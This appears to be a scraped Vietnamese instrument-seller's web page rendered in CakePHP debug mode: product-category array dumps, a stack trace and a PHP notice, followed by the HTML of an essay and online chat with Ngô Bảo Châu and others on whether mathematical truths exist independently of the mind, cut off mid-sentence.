'Catproduct' => array( 'id' => '61', 'name' => 'Nhiệt kế cong SavinopWQG-16(T.Q)', 'parent_id' => '2', 'alias' => 'nhiet-ke-cong-savinopwqg-16-t-q', 'images' => '201907040255588263b1a656f8075154d99a42ee877872.png', 'lft' => '50', 'rght' => '51', 'pos' => '13', 'status' => '1', 'title_seo' => 'Nhiệt kế cong ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'nhiet-ke-cong-savinopwqg-16-t-q', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 13 => array( 'Catproduct' => array( 'id' => '62', 'name' => 'Bộ ẩm biểu lều', 'parent_id' => '2', 'alias' => 'bo-am-bieu-leu', 'images' => '20190704025648375115691c98b7200afab84e7d0250cb.png', 'lft' => '52', 'rght' => '53', 'pos' => '14', 'status' => '1', 'title_seo' => 'Bộ ẩm biểu lều', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'bo-am-bieu-leu', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 14 => array( 'Catproduct' => array( 'id' => '63', 'name' => 'Nhiệt kế nước WQG -14(T.Q)', 'parent_id' => '2', 'alias' => 'nhiet-ke-nuoc-wqg-14-t-q', 'images' => '20190704025730f1017c1c7ca672a0b82961a6d2c5bab8.png', 'lft' => '54', 'rght' => '55', 'pos' => '15', 'status' => '1', 'title_seo' => 'Nhiệt kế nước ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'nhiet-ke-nuoc-wqg-14-t-q', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 15 => array( 'Catproduct' => array( 'id' => '64', 'name' => 'Nhiệt biểu nước ', 'parent_id' => '2', 'alias' => 'nhiet-bieu-nuoc', 'images' => '20190704025757b88f868b4fbad212e795bc0f88d414a0.png', 'lft' => '56', 'rght' => '57', 'pos' => '16', 'status' => '1', 'title_seo' => 'Nhiệt biểu nước ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'nhiet-bieu-nuoc', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 16 => array( 'Catproduct' => array( 'id' => '65', 'name' => 'Thủy chí tráng men', 'parent_id' => '2', 'alias' => 'thuy-chi-trang-men', 'images' => '2019070402584460e02fd9633a6c2500d5d0fc371f21e0.png', 'lft' => '58', 'rght' => '59', 'pos' => '17', 'status' => '1', 'title_seo' => 'Thủy chí tráng men', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'thuy-chi-trang-men', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 17 => array( 'Catproduct' => array( 'id' => '66', 'name' => 'Bộ Vũ lượng kế', 'parent_id' => '2', 'alias' => 'bo-vu-luong-ke', 'images' => '201907040259161485d37437ef53393ba9ed00d132c8ac.png', 'lft' => '60', 'rght' => '61', 'pos' => '18', 'status' => '1', 'title_seo' => 'Bộ Vũ lượng kế', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'bo-vu-luong-ke', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 18 => array( 'Catproduct' => array( 'id' => '7', 'name' => 'Máy toàn đạc điện tử', 'parent_id' => '2', 'alias' => 'may-toan-dac-dien-tu', 'images' => '201512310222411933736057242698a51c04e3a09f1e5f.png', 'lft' => '4', 'rght' => '5', 'pos' => '19', 'status' => '1', 'title_seo' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội', 'meta_key' => 'Máy toàn đạc, may toan dac, máy toàn đạc điện tử, máy toàn đạc điện tử chính hãng, máy toàn đạc điện tử chính hãng tại hà nội', 'meta_des' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội. Thành Đạt chuyên phân phối máy toàn đạc chính hãng với giá rẻ nhất, chất lượng nhất tại Việt Nam', 'created' => '2015-12-02', 'modified' => '2016-01-06', 'slug' => 'may-toan-dac-dien-tu', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => 'May toan dac dien tu', 'name_tq' => '', 'type' => 'product', 'hot' => '1', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 19 => array( 'Catproduct' => array( 'id' => '67', 'name' => 'Nhiệt kế tối cao WQG-13(TQ)', 'parent_id' => '2', 'alias' => 'nhiet-ke-toi-cao-wqg-13-tq', 'images' => null, 'lft' => '62', 'rght' => '63', 'pos' => '20', 'status' => '1', 'title_seo' => 'Nhiệt kế tối cao', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'nhiet-ke-toi-cao-wqg-13-tq', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 20 => array( 'Catproduct' => array( 'id' => '68', 'name' => 'Nhiệt kế tối thấp WQG-18(TQ)', 'parent_id' => '2', 'alias' => 'nhiet-ke-toi-thap-wqg-18-tq', 'images' => null, 'lft' => '64', 'rght' => '65', 'pos' => '21', 'status' => '1', 'title_seo' => 'Nhiệt kế tối thấp ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'nhiet-ke-toi-thap-wqg-18-tq', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 21 => array( 'Catproduct' => array( 'id' => '69', 'name' => 'Nhiệt kế thường WQG-15(T.Q)', 'parent_id' => '2', 'alias' => 'nhiet-ke-thuong-wqg-15-t-q', 'images' => null, 'lft' => '66', 'rght' => '67', 'pos' => '22', 'status' => '1', 'title_seo' => 'Nhiệt kế thường', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'nhiet-ke-thuong-wqg-15-t-q', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 22 => array( 'Catproduct' => array( 'id' => '70', 'name' => 'Giản đồ Stevens', 'parent_id' => '2', 'alias' => 'gian-do-stevens', 'images' => null, 'lft' => '68', 'rght' => '69', 'pos' => '23', 'status' => '1', 'title_seo' => 'Giản đồ Stevens', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-stevens', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 23 => array( 'Catproduct' => array( 'id' => '71', 'name' => 'Giàn đồ nắng ', 'parent_id' => '2', 'alias' => 'gian-do-nang', 'images' => null, 'lft' => '70', 'rght' => '71', 'pos' => '24', 'status' => '1', 'title_seo' => 'Giàn đồ nắng ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-nang', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 24 => array( 'Catproduct' => array( 'id' => '72', 'name' => 'Giản đồ nhiệt ẩm áp ', 'parent_id' => '2', 'alias' => 'gian-do-nhiet-am-ap', 'images' => null, 'lft' => '72', 'rght' => '73', 'pos' => '25', 'status' => '1', 'title_seo' => 'Giản đồ nhiệt ẩm áp ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-nhiet-am-ap', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 25 => array( 'Catproduct' => array( 'id' => '73', 'name' => 'Giản đồ mưa ', 'parent_id' => '2', 'alias' => 'gian-do-mua', 'images' => null, 'lft' => '74', 'rght' => '75', 'pos' => '26', 'status' => '1', 'title_seo' => 'Giản đồ mưa ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-mua', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 26 => array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) )include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu 